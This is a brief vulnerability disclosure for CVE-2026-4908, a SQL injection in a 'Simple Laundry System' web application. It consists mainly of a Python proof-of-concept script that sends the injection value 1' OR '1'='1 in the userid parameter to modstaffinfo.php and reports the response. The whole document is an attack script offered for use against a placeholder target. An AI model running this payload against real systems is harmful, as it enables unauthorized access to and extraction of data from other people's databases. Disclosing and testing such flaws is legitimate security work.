CVE-2026-4908 Simple Laundry System SQL注入漏洞

import requests # Target URL configuration target_url = "http://target-host/modstaffinfo.php" # Malicious payload for SQL Injection test # Attempting to bypass logic or extract data via userid parameter payload_params = { "userid": "1' OR '1'='1" } try: # Send GET request to the vulnerable endpoint response = requests.get(target_url, params=payload_params) # Analyze the server response if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response Length:", len(response.text)) # Further checks can be added here to verify data leakage else: print("[-] Server returned status code:", response.status_code) except requests.exceptions.RequestException as e: print("[-] An error occurred:", e)